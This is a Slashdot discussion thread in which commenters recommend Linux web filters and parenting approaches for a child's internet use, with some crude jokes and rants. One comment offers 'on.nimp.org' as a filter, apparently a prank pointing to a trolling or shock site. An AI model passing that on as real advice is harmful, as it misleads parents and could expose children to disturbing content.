    Your daughter is going to be bombarded by sex from all directions. She'll get it at school, on TV, movies, from friends (and "friends"), and, yes, the Internet. Strict filtering at home just means the neighbor's unfiltered Internet is all the more enticing. Talk to your kids about what it is, what they're seeing, why it's out there, and make it cease to be a "naughty" attraction, and an unfiltered Internet should cease to be a problem. If your kids want to see "forbidden" content, they're going to figure out a way to do it. The biggest thing is having an open dialog about what your kids are seeing and learning. I'd rather my kids talk to me about what they read on some white supremacist site than keep that information from me because they thought they'd be in trouble, since it was filtered.

  95. Re: I wish I had mod points for you... by colinnwn · · Score: 1

    You're advice is tragically underrated. And though I don't have kids yet, it is inline with experiences of my friends and acquaintances in high school 15 years ago.

  96. Dansgaurdian by spinoza15 · · Score: 1

    I'm not sure what the development on this has been since 2006 but when I was an admin at a K-12 school we used this as our primary filter. It was very effective and simple to setup. When kids were legitimately researching topics on , say, human sexuality, etc. for various grade 10-12 courses it was no trouble to unblock specific sites or even whole domains.

  97. Adblock is all you need by Jah-Wren+Ryel · · Score: 1

    I haven't seen a porn advertisement that wasn't already on a porn site for years now.
    Just install adblock plus and set it to get regular updates of its filter list.

    --
    When information is power, privacy is freedom.
  98. Mod up. Feedback from asker by Anonymous Coward · · Score: 0

    woo :)

  99. He thinks porn is the worst!! Ha! by SlappyBastard · · Score: 1

    Wait til little girl starts clicking on every virus-ridden web page she sees. Wait til she defends her actions by saying, "But I really wanted to play that game, and I had to click OK to play it."

    --
    I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
  100. That's OK by SlappyBastard · · Score: 2, Funny

    Every good product is actually just a lie the customer wants to hear.

    --
    I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
  101. "soon"? by v1 · · Score: 3, Insightful

    My daughter is using phrases like 'hot guys,' and soon will have a chat about the birds and the bees

    Since there isn't always a clear red flag to let you know the absolute last minute you can put that conversation off, you should get it out of the way when the time is approaching. Procrastination here is not a good thing.

    By the time my parents worked up the nerve, my school had already provided me with good sex-ed. I think in some respects I knew more than they did, which was kinda funny. Correcting your parents during this chat just makes them turn different shades of red and purple. Not many schools do that though, but if you wait too long you too may get to experience that.

    --
    I work for the Department of Redundancy Department.
  102. What about Smoothwall + URLBlacklist.com? by invisible_ink · · Score: 1

    I've been meaning to set one up upstream of my home router now that my kids are getting bigger. I think there are a number of elementary schools using it. Seems like it would be easy to set up and run off of anything modern enough to run the 2.6.x kernel.

  103. Re:This, many times over. by Millennium · · Score: 1

    You, and other parental figures in the child's life, are the best filter. There are no acceptable technological substitutes, and there probably never will be.

  104. Back in the day by Demonantis · · Score: 1

    I remember a search engine off shoot of yahoo. Their only purpose was making the search results kid friendly. Its not really a censor, but it stops the accidental exposure. I think it was called yahooligans. I don't know if it exists anymore though. If you just made it your daughters home page it would subtly promote safer surfing.

  105. IPCop by aoteoroa · · Score: 1

    I like IPCop as a webfilter. It can be installed and configured on an old computer in about 30mins. (not counting the time it takes you to download and burn the iso). The default install keeps a log of all web URLs visited. Add the URL Filter to block certain web sites. Of course maintaining a black list is a pain in the arse but there are plenty of free blacklists available that are designed to be used in elementary schools. As a side benefit you can use also use it to block ads, and filter malware with cop filter.

  106. Maybe I'm an idiot... by Blakey+Rat · · Score: 1

    But which site hosts "aggressive porn ads" that isn't already a porn site? It seems like this is a complete non-issue. Is it the porn sites you're trying to block, or the ads for them? (Or the ads *on* them?)

    I'm confused.

    1. Re:Maybe I'm an idiot... by clone53421 · · Score: 1

      Virtually anything that has anything at all to do with downloading pirated media.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
    2. Re:Maybe I'm an idiot... by Blakey+Rat · · Score: 1

      Hm, I don't pirate, so I wouldn't know.

      But the original question still makes no sense. He makes it sound as if hardcore fetish porn sites is OK, as long as they don't have any advertising... most people worried about filters focus on the *content* of the site, not on the advertising. It's just weird.

    3. Re:Maybe I'm an idiot... by clone53421 · · Score: 1

      It sounds to me like OP doesn't have a major issue with it if his daughter decides to look at porn. He just has an issue with her seeing porn when she didn't want to.

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  107. PFSense by Jock+Kodimar · · Score: 0

    Setup a PFSense firewall (www.pfsense.com) and install the squidguard package and a good blacklist like shallalist (www.shallalist.de/)

    Then tell squidguard to block all ad and porn sites.

  108. Lazy by kenp2002 · · Score: 0, Flamebait

    Troll me but this is another example of a lazy parent wanting someone else to do their job for them.

    A: TURN THE COMPUTER OFF. Life moves along just fine without Facebook, Myspace, and Google. A computer is a TOOL not a life style.

    B: As several have pointed out, keep the computer in the living room and check out what they are doing. If they are embarrassed by you looking over their shoulder just remind them that everything they do on the internet can be observed by millions. If you are embarrassed by mom or dad watching, you'd be insaine not to be embarrassed by millions seeing it.

    C: Filter? Why? Get a porn pop up just close it... Ohhh scary images... Filters will do little when people are 1/2 naked walking around in malls during the summer.

    D: Linux based filter? I suggest either M.O.R.A.L Code or the effective P.A.R.E.N.T Script. But using both together you can actually control your child AND their internet surfing habits. You see, when agressive scripts with objectionable content pop up with both M.O.R.A.L code and P.A.R.E.N.T scripts running you child can simple close the offending content or in circumstances where they are unable to the M.O.R.A.L and P.A.R.E.N.T tools actually allow your worthless waste of oxygen code named CHILD to actually peel themselves away from the stupid box long enough for P.A.R.E.N.T to clean up the situation provided the P.A.R.E.N.T script isn't too busy acting like an adult child buried in ESPN or an XBOX.

    Here some advice, be a parent and quit delegating your responsibilities to EVERYTHING AND EVERYONE ELSE BESIDES YOURSELF. IF YOU CANNOT KEEP TABS ON YOUR CHILD AT ALL TIMES STOP POPPING THEM OUT LIKE FUCKING PEZ CANDY.

    -- Version 1 --
    Face it there are always be assholes in the world, learning to tolerate them is part of life. You don't have to like assholes but you do need to learn how to deal with assholes when they pop up.

    -- Version 2 --
    Face it there are always be p0rn popups in the world, learning to tolerate them is part of life. You don't have to like p0rn popups but you do need to learn how to deal with p0rn popups when they pop up.

    -- Version 3 --
    Face it there are always be objectional content in the world, learning to tolerate them is part of life. You don't have to like objectional content but you do need to learn how to deal with objectional content when they pop up.

    If the OPs goal is to let the kid explore, let the kid learn how to deal with objectional content.

    Morals + Good Parenting = Self Policing Kids that Listen to their Parent.

    --
    -=[ Who Is John Galt? ]=-
    1. Re:Lazy by Anonymous Coward · · Score: 0

      I'll bet you don't have kids anyway, but I'll bite.
      A. It's a useful tool, one that kids should be familiar with.
      B. It's a useful tool, which can be used for many things. My girls have one in their room, which means they can watch movies there during sleepovers, can play when their friends are over, etc.
      C. I'm not so worried about porn images, but there are lots of sites out there which 6 & 9 year olds shouldn't see. My older daughter has been bugging me about some "wierdest people" site she heard about at school. I don't want her ending up on rotten or someplace like that. So I only allow a whitelist on their machine.
      D. Whatever.
      Lets let the grownups make the decisions over their parenting, shall we? OP is obviously an involved parent, otherwise he wouldn't be asking about this. I am open to discussing anything with my kids, in an age-appropriate way, but I'm also not going out of my way to expose them to the worst of humanity. They'll still get plenty of experience in dealing with assholes and objectionable content as they grow up.

    2. Re:Lazy by AMuse · · Score: 1

      I don't have mod points to mod you (-1, rant) so I'll just ask: Are you actually a parent and do you understand a parents' responsibility to their child?

      The OP seems to be doing a lot of things right to me. They're not asking for people to parent for them, they're asking other geeks (who may also be parents) for advice on how to protect the kid when they need to be protected -- so they can cut the kid loose when they're ready for that.

      "delegating your responsibilities to everyone besides yourself" would be saying "help, help, we need to ban porn on the internet because I have a kid".

      Anyway, get some Xanax or something and bring it down a notch.

    3. Re:Lazy by clone53421 · · Score: 1

      everything they do on the internet can be observed by millions

      Oh come on. That's blatantly untrue. Yes, some things can be, but I don't see you posting the password to your e-mail account so millions of people can read your messages.

      Filter? Why? Get a porn pop up just close it...

      There are plenty of good reasons to not want popups of any kind, including but not limited to obscene ones.

      D:

      -1 Bad Analogy. Try something with cars next time (ok, now I'm trolling).

      Hsa, bapaqdyrtEAEEBY. IYCKTOYCAATSPTOLFPC.

      -1 Too Fucking Many Capital Letters (and no, I'm not just trolling on this one).

      you do need to learn how to deal with assholes when they pop up.

      -1 Goatse Reference.

      p0rn popups

      -1 Just Use The Fucking Word.

      let the kid learn how to deal with objectional content

      I think that's the intended goal, but at a young age, are they ready for that?

      --
      Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  109. Parental Guidance Suggested by Anonymous Coward · · Score: 0

    I think a combination of parental guidance and Dan's Guardian.

    http://dansguardian.org/

    I have DG working on my W2k3 server with Virtual Box and Unbuntu.

  110. Dunno about that unbounded Internet Access by mpapet · · Score: 0

    As a Father with a younger daughter I have very fundamental issues with having few boundaries on the internet. Especially for girls entering pre-pre sexual stages of their life.

    Whether you like it or not, she will be exposed to very undesirable models of women in society in very un-prnographic, but still titillating images. If she watches a normal amount of TV, then she's being rushed along enough sexually. It reinforces the sexual hysteria that is so prevalent in the U.S.

    I'm all for age-appropriate normalizing of sex topics, but less filtered internet access is not the way to achieve it.

    Before flaming away at me she's probably getting enough exposure to peer-appropriate pre-pre sexual things in school. Hopefully, Right now its all a very immature kind of pubescent theater. That's enough and it hopefully is age-appropriate.

    For those reasons I'm in favor of tight controls on the home Internets/IM until very late teens.

    Flame away.

    --
    http://www.maxineudall.com/2010/02/should-economists-be-sued-for-malpractice.html
    1. Re:Dunno about that unbounded Internet Access by gujo-odori · · Score: 1

      No flames here. IMO the OP is basically failing in his duties as a dad, and he's going to find that out first hand when his daughter gets pregnant before she gets out of high school. Maybe even middle school.

      He sounds like he's stuck in that "Where do I get off telling my kids what to believe/watch/read/etc.?" trap. That "trap" is called being a parent. Not doing it is called failing to be a parent. If you don't guide your kids on that stuff, as well as guard them against harmful things for their age, you're not a mom or a dad. You're just an egg/sperm donor.

      My kids don't even know the passwords to their computers, and their computers are both in the living room. They don't use them without permission, and they don't use them without supervision.

      Not long ago, somebody here posted about Internet controls for his kid's computer, which would be located in the kid's room. Putting the computer in a young child's room is mistake number one. Keep it where you can see it, and make sure that you - and only you - have root. That's online security step number one for your kids.

  111. Adblock plus public by bradley13 · · Score: 1

    As others have said, I have quite good experience with Adblock. If nothing else, it makes the Internet experience more pleasant.

    For me, the most important point is that the kids have their computers in the "family office". They've never tried to visit anything really objectionable, but it has happened that they wandered onto sites that I found inappropriate. I wouldn't necessarily have noticed this if their computers were in their rooms, or even by looking at logs. As it was, it was one of those "teachable" moments.

    Of course, as they get older, they have more and more access to mobile devices. By the time this could be a problem, I hope to have taught them well enough to behave responsibly.

    --
    Enjoy life! This is not a dress rehearsal.
  112. girls. ^_^ by girlintraining · · Score: 1

    You don't need to worry much about girls downloading porn. It's slashfic you should fear. buwhahaha!

    --
    #fuckbeta #iamslashdot #dicemustdie
  113. DansGuardian by AJWM · · Score: 1

    I use DansGuardian. Easy to configure and works fine (I use it conjunction with squidproxy, both running on the firewall between the DMZ and inside the house).

    Occasionally I'll go in and configure it to block Flash (except for certain sites, like the kids' schools) to discourage playing flash games when they should be doing homework. If one really wanted, one could configure a cron script to modify the configs at different times of the day (I don't think dansguardian config files are smart enough to do that themselves), but I haven't bothered.

    Since only the kids' computers go through DG, (that's in the firewall config) if I want to cut them off from the internet in a hurry I can just kill that, leaving the rest of the computers on the net.

    I don't know about other filters -- I tried DG first and it was Good Enough -- but if they do try to hit a blocked site it will pop up a page (configurable) telling them to ask Daddy if it's something they really need access to.

    --
    -- Alastair
  114. Don't filter. Talk to her. by jotaeleemeese · · Score: 1

    Just ask her to tell you about anything she finds strange or distressing, talk to her about it openly and draw conclusions together.

    In other words educate her.

    --
    IANAL but write like a drunk one.
  115. Use Astaro by Anonymous Coward · · Score: 0

    I have the answer. I saved my family all the trouble by taking my old x86 box, downloading the Astaro free home user version, which gives you all their web filtering free, no sales people, no strings. Takes 2 secs to get a key, and i repurposed an old 1.5ghz box with a 40gb hdd i had laying around.

    Since i was happy with my linksys etc setup, i just put it in bridged transparent mode and stopped the bad categories (they have like 90+) from being doled out to the kids computers IP addresses. No need for user authentication yet, i hope they dont get that smart :) (though it does support it)

    key: http://www.astaro.com/our_products/product_overview/landing_pages/free_home_edition
    iso: ftp://ftp.astaro.de/pub/ASG/v7/software_appliance/iso/

  116. back in the day, onions etc by Anonymous Coward · · Score: 0

    ta heck with your glasses, where are my teeth?!? I know you hid them on me... /geezer reality

  117. Smoothwall3.0 by Sam36 · · Score: 0, Informative

    Get an old computer and install smoothwall3.0 and then install the dansguardian mod for it http://community.smoothwall.org/forum/viewtopic.php?f=49&t=28154

    If you don't have an old computer or want to save space then for about $150 you can get this small alix board plus case plus power supply: http://www.mini-box.com/Alix-2B0-Board-2-LAN-2-MINI-PCI_LX700_2

  118. no kids, but by Tom · · Score: 1

    Ok, I don't have any kids, nor are any planned, so with that out of the way:

    I don't see why you need anything special for kids. Aggressive porn ads is probably something you filter out for yourself as well, so your usual combination of AdBlock, Popup blocker enabled, etc. will do. With that setup, it is very, very likely that your daughter won't see any porn ads she didn't want to see, just like you. And any that still slip through would've almost certainly slipped through another setup as well.

    As for the "think of the chiiiiiildren" content - my personal belief is that hiding that away would do great damage to the kid anyways, no matter what the age. I strongly believe that if you are willing to take the time to talk about and explain whatever it is she finds on the web, be it the sourcecode for the Linux USB driver or hardcore porn, you'll do her a much bigger favour.

    Time and time again I notice that the parents that are the most restrictive are the ones who have the least interest and time for their kids. They somehow live in this dream world where they think their job as parents is to protect the kid, and that's it. Frankly, that notion is about 100,000 years outdated. Our kids won't be eaten by wolves if we don't watch them, but the gene is still there. In the modern world, kids need guidance a lot more than protection, because them not knowing what a pyramid scheme is or that alcohol should be consumed in moderation is a lot more dangerous than them knowing all about sex at age six.

    --
    Assorted stuff I do sometimes: Lemuria.org
  119. Bluecoat - free filtering by Anonymous Coward · · Score: 0

    Disclosure: I have friends who work for this company. They do offer commercial products but also have a free service which performs web filtering. Look, evaluate, and make up your own mind. http://www.bluecoat.com/products/overview

  120. perhaps POESIA? by basiles · · Score: 1

    I used to work on POESIA several times ago (I actually even initiated it as an R&D project). It is opensource (GPL). I don't work on it anymore, and I don't know if there is still some usable code. But one could try http://www.poesia-filter.org/ and more importantly http://sourceforge.net/projects/poesia/ My youngest child is 12 years old. I believe the most important filter is to have him surf the web in the living room. (He sometimes uses a netbook, but I disabled the wifi & ethernet)

  121. Easy by rjolley · · Score: 1

    Install a filter, give her the password to it. Anything unwanted she can safely ignore. If she really meant to go there in the first place, she can type in the password to continue.

  122. Filtering for a girl? by aceofspades1217 · · Score: 1

    Why would you need filtering for a girl? Frankly girls aren't like guys and they are not going to go crazy for porn. Girls are not as sex crazed as guys are and they aren't going to be looking through porn all day. The worst they can do is spend way too much time on facebook and myspace....those things are like girl venus flytraps.

    But if you don't want her to see porn advertising (and frankly who does?) than just install adblock in firefox. No need for filtering and all that.

    Trust me, frankly the worst she is going to do is look up the actors from twilight, Hanah Montana, and the Jonas Brothers...that surely won't scar her for life xD....although it would probably scar me for life.

    1. Re:Filtering for a girl? by Anonymous Coward · · Score: 0

      You've never met a girl who had a porn and/or masturbation addiction at a young age, so they obviously don't exist. Or maybe you have – would she have told you?

      I'm tired of the myth that "girls don't do that". Not only is it false, it causes the ones who do "do that" to believe there's something wrong with them.

  123. It only took 1 'talk' for me to get the bigger pic by Anonymous Coward · · Score: 0

    My mom and i had a talk when i was 12 and then 16 regarding this. Our situation was a little odd but it worked. We here having a preteen argument, prolly about porn or something, and she said that she knew she didn't understand computers well enough to control me and that anything she put on there would most likely be subverted. She didnt know jack about technology and thats all i cared about. she just kind of worked the mysterious internal "you're disappointing mother" guilt. but i still was everywhere. i mastered stealth thumbnail viewing and anime porn(lol i was little) by then too but i kept it a private matter. i knew all the shock to the degree they didn't shock me.

    But what made it all okay, was a convo we had one night that i can still visualize. i was just getting into anime and didn't know what to rent or how to tell if one was good or not so i would just rent a vhs every couple weeks. This time, she got a movie and so did i. her's ended up being cool so i watched it with her. this led to her just sticking the second tape in and sitting back down.

    Now, back then anime wasn't rated at the rental shops and it was before they had the 13^, 14^, 16^, and 18^ labels on the back. So i ended up with a flashy boxed vhs called Ninja Scroll.... XD 3 minutes into that movie a woman is violently raped by a monster with a massive hoo-hoo-dilly.

    I knew it was coming cause i saw the big guy grab the chick so i had actually pretended to go to the bathroom and hid in my room. :P She gave me this stern ass talk about not objectifying women and how they aren't just sex tools and so on. i can still hear it in my head today. ive wacked my badger every day since i was 12, typically visually aided, and i have no respect or sexual expectation problems as an older male.

  124. What I do by Mista2 · · Score: 1

    I used a plugin for firefox called Glubble when my kids were younger, it has great family controls, and allows different profiles for different kids. They can build their own favourites pages and if they want to go to a site not listed, it sends a link to a "Helper" such as a named parent or guardian, this can even be an email to your work address if like mine they are being looked after by a sitter after school while I am at work. They can also share allowed links with their friends if they sign up for glubble too, and these also get approved by their helpers.

    But nothing compares to making sure the internet access PC is in a family space, and logins are restricted to certain times. I must admit, OS X is fantastic as it allows to to set maximum hours per day as well, so with two kids it makes sure they both get a turn and arne't spending all day on the net - also as I use the Mac as their TV, it limits their TV/DVD time too. Does anyone know of a good login manager that can add this funtionality to Linux?
     

    1. Re:What I do by Anonymous Coward · · Score: 0

      OS X is fantastic as it allows to to set maximum hours per day as well, so with two kids it makes sure they both get a turn and arne't spending all day on the net - also as I use the Mac as their TV, it limits their TV/DVD time too. Does anyone know of a good login manager that can add this funtionality to Linux?

      I'd be very interested in this too - I would like the kids to be able to log on when they get up way too early on Saturday, but not be able to spend more than 1/2 an hour or so. Right now they wake me up to log them on...

  125. IPCOP + URL Filter by FuzzyHead · · Score: 1

    I'd guess you are a geek and may actually have a network already setup in your house. Grab an old computer (Dumpster diving, go through your own stuff and put one together or goodwill) and install IPCop. Then install URL Filter which uses squid. The added benefit of having a secure firewall that blocks, porn, ads, trackers, spyware and just about anything else you could imagine.

    I currently use this system in my own house and at my current job. It's not perfect. Any person who REALLY wants to get at something can. It does however cause a lot less problems.

    Side Note: Am I the only one who searches for motherboard models and the first site listed by Google has Adult Friend Finder adds? That's enough for me to install that software.

  126. install a bypassable filter by Anonymous Coward · · Score: 0

    I would say install a system "dan's guardian?" that will display a notice, but give an option to bypass a filter (logging the fact it was bypassed, of course). This prevents the "sex thrown in her face" issue, while letting her make her own decisions about her internet use. (and takes care of issues where a wikipedia article or something like that is blocked)

  127. Filters for kids? by bjverzal · · Score: 1

    My kids, although they do not know what an "SLA" is, are keenly aware of the concepts. At any given time, their computers are scanned for spyware, viruses, and their Internet history is checked. Temporary Internet files are manually verified. They do not have admin rights. The computers are in a common area. They have been told and reminded that the presence on any inappropriate material means the immediate wiping of their computers. I use Windows for them, but one kid is familiar with Linux (the machine dual-boots) and likes it. I use McAfee and parental controls. However, the best tools are your own diligence and vigilence. Do not leave them in a closed bedroom. Keep the computers in the open areas. Although there is a reasonable expectation of privacy in our home, one a computer is not one area where there is. I realize your question is on Linux, but parental oversight runs on any operating system.

  128. google it! by hesaigo999ca · · Score: 1

    I would love to see her daughter's face when she googles hot guys, and ends up with an unending slew of pop up IE windows from surfing to the first hit, www.hotguys4you.com and notices that there is much more insinuations for the male demographic then the female one..... especially when she clicks to see the first picture that pops up!

  129. HEPA by jank1887 · · Score: 1

    It's the only way to guarantee clean-room quality breathability.

  130. Slashdot dads....Oxymoron of the century! by Anonymous Coward · · Score: 0

    >question is: What Linux-based Internet filtering solution do Slashdot dads favor, and do they hinder a child's efforts to learn about the world?

    OK I am still recovering from this one.... "....Slashdot dads....."

    You must be new here......

    Thanks for the laugh.....

  131. ProCon by Anonymous Coward · · Score: 0

    My kids are 6 & 9 - I'm running ProCon, a Firefox add-on which lets you create blacklists & whitelists. I just blacklisted everything except about 10 sites (Schools Wikipedia, Webkinz, etc). If there's something else they want to look at, I can add it. They could circumvent it by using Konqueror, but haven't worked that out yet. Right now, there's no need for them to be visiting any other sites, and as they get older I'll change the setup, but for now it's easy and effective.

  132. What I had to do by mitchplanck · · Score: 1
    I've been using Adblock and OpenDNS for a while now, I never had a problem with my daughter (now 18) and going to bad sites. I had to clean out some adware a couple of times but nothing too bad.

    My son (now 12) is just getting to the porn age so I'm going to have to be a little more vigilant with him. The issue that he had a couple years ago was interesting though. He would see the ads or find a free offer or contest and would believe every word (but not read the fine print). We had to have several EXPLANATIONS with him that they weren't really going to send him a free XBOX360 or anything else for free or that he didn't win that contest. He gets it now but it wasn't easy.

  133. Re:is there a capitalism filter? by morghanphoenix · · Score: 1

    Never too early to start teaching them that being a sheep is bad. And what is advertizing but telling the sheep what to think since they're incapable of forming opinions on their own.

  134. I'm surprised that this hasn't been mentioned. by ekimd · · Score: 2, Interesting

    SquidGuard

    It's what I use at home for my kids. No, it's not perfect, but along with some good URL re-write rules, you can't get to any porn unless you REALLY try.

    --
    'Impossible' is a word that humans use far too often. -- Seven of Nine
  135. Simple enough by Anonymous Coward · · Score: 0

    IPCop + URLFilter

  136. iBoss dude! by Anonymous Coward · · Score: 0

    Put out by Phantom Technologies.

    http://residential.iphantom.com/

  137. Proxy program with black list by Anonymous Coward · · Score: 0

    Simple!!!
    A proxy program as Squid http://www.squid-cache.org/ with squidguard http://www.squidguard.org/ and a black list as http://www.shallalist.de/categories.html

  138. Re:is there a capitalism filter? by geminidomino · · Score: 1

    True, but there are two issues with that...

    #1) It might never be to early to teach them that being a sheep is bad, but a "sound analysis of our economic system" just might be jumping the gun.

    #2) You've got to be careful of crossing the line into "telling them what to think since they're incapable of forming opinions on their own".

  139. camels? by LordGlenn · · Score: 1

    oh any filters are fine...I just don't let my kids smoke the UNfilterd stuff...

  140. The internet is not your babysitter by synthesizerpatel · · Score: 1

    The internet, much like the real world is not a safe place for kids. It's not even a safe place for adults most of the time. Probably more dangerous since most kids don't do their banking online, instead relying on Snoopy coin banks.

    You cannot 'blacklist' through configuration parts of the internet, your best chance is to whitelist what you think is 'ok' and just block everything else at your firewall to and from that computer. Heavy handed? Sure. But it's the only reliable way. Unrealistic? Definitely!

    Also, talk to your kids, educate them about WHY things are bad, don't be afraid to let them find out on their own. Forbidden apples taste pretty good.

    The type of parent that lets their kid freely roam around on the internet is the same type of parent that will drop their kid off at Chuck-E-Cheese and say 'I'll be back when I'm done with what I'd rather be doing'. If you don't care enough to supervise, don't act surprised when they do a bunch of stuff that horrifies you.

  141. Don't censor, educate. by LordKazan · · Score: 2, Insightful

    The worst thing you could possibly do is to try and block her attempts to get to content she really wants to get to.

    However blocking accidental is really easy: remove IE if you haven't already, install Firefox if you haven't already and get the Ad Block Plus addon and subscribe to the EasyList USA blacklist. Ads.. what are ads?

    now... just be honest and straight up with her about the birds and the bees.. and if she wants to look at stuff.. well she is going to look at stuff. It's not unhealthy, despite what our unhealthy prudish sexually-repressive culture wants to say.

    (OMG! my 10 year old saw a titty on a movie! he's going to be a mass murderer now!)

    Caveat: I am not a parent YET, but don't expect to change my opinions on this by the time i have kids of that age.

    --
    If you cannot keep politics out of your moderation remove yourself from the Mod Lottery.. NOW!
  142. anon for moderation by Anonymous Coward · · Score: 0

    If FF3 is pulling from your past browsing history, you need to use whatever beta has the 'porn mode' or the Distrust add-on.

  143. Only need to blacklist one domain by TrekkieTechie · · Score: 1

    4chan.org

  144. Somebody didn't like that. by MoodyLoner · · Score: 1

    You know, every now and then I forget why I eschew commenting on Slashdot for the deep philosophical discussions on the WoW forums.

    And every now and then, I get a reminder.

    --
    No Longer a Menace to Society.
    Alexandria Morrigan born 2/22/01 l. 20.5in wt. 7 lbs. 5 oz.
  145. Re:is there a capitalism filter? by Anonymous Coward · · Score: 0

    Based on a quick google search and perusal of your recent slashdot comments, all I can tell about you is that you watch the sci-fi channel, play video games, and only have seven friends on facebook. What is it that differentiates you from the "sheep" you seem to hold in such contempt?

  146. opendns.com by ChrisA90278 · · Score: 1

    Use opendns.com as your DNS provider. I do this to filter ads and popups. It works with any Internet connected device from PCs to iPod Touch.

  147. Best Linux-based filter by thane777 · · Score: 1

    DansGuardian, without question. OpenDNS is good too but not Linux-based.

    --
    If there were no God, there would be no atheists. -- G.K. Chesterton
  148. Adblock by dosun88888 · · Score: 1

    This way she only sees the porn she's trying to look at, which is how it should be.

  149. Sexting by Anonymous Coward · · Score: 0

    You should be more concerned with your daughter sending naked pictures of herself to "hot guys". Since the guy is almost certainly going to show it off, she will almost certainly be charged with child pornography. Certainly as a parent it's your job to protect your daughter from falling prey to legal judgments that could end her life as a member of society.

  150. Protect The Children Or The Parents by logicnazi · · Score: 1

    Don't get me wrong. I think this is a perfectly reasonable thing for a parent to do. However, I also think one should be honest about whether this is really for the child's benefit or for the parent's benefit.

    Look, when children are young enough that they are really just "accidentally" stumbling upon this content they are grossed out and quickly navigate away. They don't understand the subtlties of "objectification" (horrible word) or psychological degradation that cause adults to feel queasy about alot of porn nor are they going to spend any time looking at it. It just doesn't seem reasonable that kids at this age are likely to need protection from accidental porn exposure. Sure, it would be bad to sit them down to watch an hour of violent porn but that's not accidental exposure.

    On the other hand once they are old enough that they find the subject enticing it's no longer really about accidental visits and they are (or shortly will be) sharing racy material with their friends (be it stolen playboys, sex books in the public library, or fairly racy sexual stories told among female friends...I was pretty astonished to here my wife tell me what she talked about at 13).

    What this sort of policy does avoid is having to have awkward talks with the kid about what they saw (though the awkwardness usually comes from the parent's hangups rather than anything intrinsic). It also helps indulge the (perhaps necessery) fantasy all parents indulge in about their children's innocence.

    Nothing wrong with that. In fact I think this often encourages harmony and healthy development. There is nothing like a guilty/prudish/anxious parent to induce sexual hangups.

    --

    If you liked this thought maybe you would find my blog nice too:

  151. I would recommend Untangle by gotpaint32 · · Score: 1

    You can setup Untangle as a passthrough or as your router. There's no crappy software to install, all network traffic can be screened and logged, there is an override function and best of all its free.

    --
    Nuclear war would really set back cable. - Ted Turner
  152. If she is using by Anonymous Coward · · Score: 0

    terms like "Hot Guys" you probably should be having that talk sooner rather than later. Just my 2cents.

  153. Linux Dad huh? by Anonymous Coward · · Score: 0

    Well the solution seems obvious to me, she should be using Lynx.

  154. AdBlock Plus by Anonymous Coward · · Score: 0

    In my experience, most of the inappropriate images and links are banner ads on legitimate websites (if you could call thepiratebay legitimate), so the firefox plugin 'adblock plus' is all I use for my family.

  155. ies4linux by Anonymous Coward · · Score: 0

    It's not very difficult...
    http://www.tatanka.com.br/ies4linux/page/Main_Page

  156. DansGuardian, Squid, OpenDNS, AdZapper... by Pathway · · Score: 1

    OpenDNS - This is the easiest to configure. Setup your internet connection to use the OpenDNS servers, and then do some base filtering on the really bad stuff. Block specific domains if you want, and/or use the built in blacklists.

    Squid - This is a proxy filter. It can do a lot of things, but mostly it is use by the next few things to do what you want:

    DansGuardian - A truly excellent content filter, with weighted lists if you like. Want to allow "Brest Cancer" but not just "Brest"? It can do that. Very powerful, but also takes some work to do.

    AdZapper - Does what it sounds like: It stops Advertisements. Truly a great way to trim the net of the waste. ... and to do all these things, I recommend ...

    ClarkConnect. It's a linux based firewall which can do all this and a whole lot more. Free and Paid versions available. Others will suggest different programs, this is just the one I'm using.

  157. use a server gateway by gooeee · · Score: 1

    I use clarkconnect server gateway at my house it's is an linux distro, it has a great content filter in it's proxy server, this would be one way. gooeee

  158. Try Glubble by deliciousmonster · · Score: 0

    Collaborative filter plugin for Firefox... lots of dads working together to repel the barbarians at the gates, so to speak.

    It says for children under 12; I'm not sure when girls start talking about "hot guys"...

    https://addons.mozilla.org/en-US/firefox/addon/5881

    --
    I have a plan. Using mainly spoons, we'll tunnel our way out of the city...
  159. You can n by Anonymous Coward · · Score: 0

    Your daughter has already seen Goatse and Tubgirl. There is no innocence left to save. You have already failed.

  160. Great Filter by Anonymous Coward · · Score: 0

    on.nimp.org

    It shows you what its going to filter.

  161. How about by Anonymous Coward · · Score: 0

    the same filter you use when you let her go out into the 'bad' areas of the city alone and unsupervised? After all, in general the tubes are safer than those areas. Oh what? You don't let her go to strange places alone and unsupervised?

  162. Playing the game? by bootup · · Score: 1

    I tend to agree with the part about not filtering children's access to the world. I just have to wonder what you were thinking when you wrote "However, it's not fair for aggressive porn advertisers to splash sex in her face without her permission". Maybe you should first find out if the aggressive porn advertisements occur and if those actually irritate anybody beyond aggressive non-porn advertisements. If not then this is a problem of aggressive advertising in general and not porn. At which point you probably want software to block aggressive advertising rather than porn sites.

  163. Being real... by Anonymous Coward · · Score: 1, Insightful

    When my daughter was 10, she woke me up in the middle of the night crying. We had watched Disney's Mulan-- cartoon about a Chinese girl-- and that night she went on the Internet without permission and found an "Asian Girls!" porn site that was pretty graphic. She said "Why do they let this happen to themselves? Don't they know they have a beautiful culture?"

    We talked and talked that night. I told her how glad I was that she came to me with such questions. And as expected her curiosity was roused. She would later go looking up various porn sites, eventually getting one of those Trojans that had our computer silently dialing up some Soviet state and running up a phone bill of over $1000 because it stayed online in the background, all because she so easily signed in as "Over 18."

    We refused to pay that bill and the phone company finally conceded because I quoted some legal precedent I found online and because I was articulate and talked tough.

    So, get ready for anything. Your best defense really IS being able to talk to your kid, checking her browser history, etc. I suggest that, when you are telling her about sex, you find legitimate sex-ed web sites for her that are appropriate to her age-- they are out there. That will give her something to look at when she gets curious and kids need access to healthy imagery because the most important message I think they need is that porn sex is not real sex. (I know some smart mouth out there will make a crack about "real, etc.," but little girls do not need to imagine porn scenarios when wondering what it will be like to grow up and make babies.

    My kid would later comment about the porn sites that she visited:

    "Those girls all have on that 'commercial face' they have when they lie down on cars or advertise toothpaste-- 'Yum! It tastes minty fresh!'-- WHY?"

    Why, indeed?

    Just keep talking to your kid. And make sure she also knows some other adult she can go to with questions too embarrassing to ask you, probably a female." Good luck and thank you for caring about your kid in this way.

  164. Sex is bad? by SlappyBastard · · Score: 1

    You wanna see bad? Consider the alternative: mitosis! How disgusting would it be to walk down the street and see some fat guy spontaneously split into TWO fat guys?!

    OK, I was obviously raised more liberal. Because I was in fact told that if I ever smoked weed to smoke it through a water bong, so as to avoid the tar!!

    Here's the funny thing . . . except for a lot of second-hand smoke in college, I never did weed.

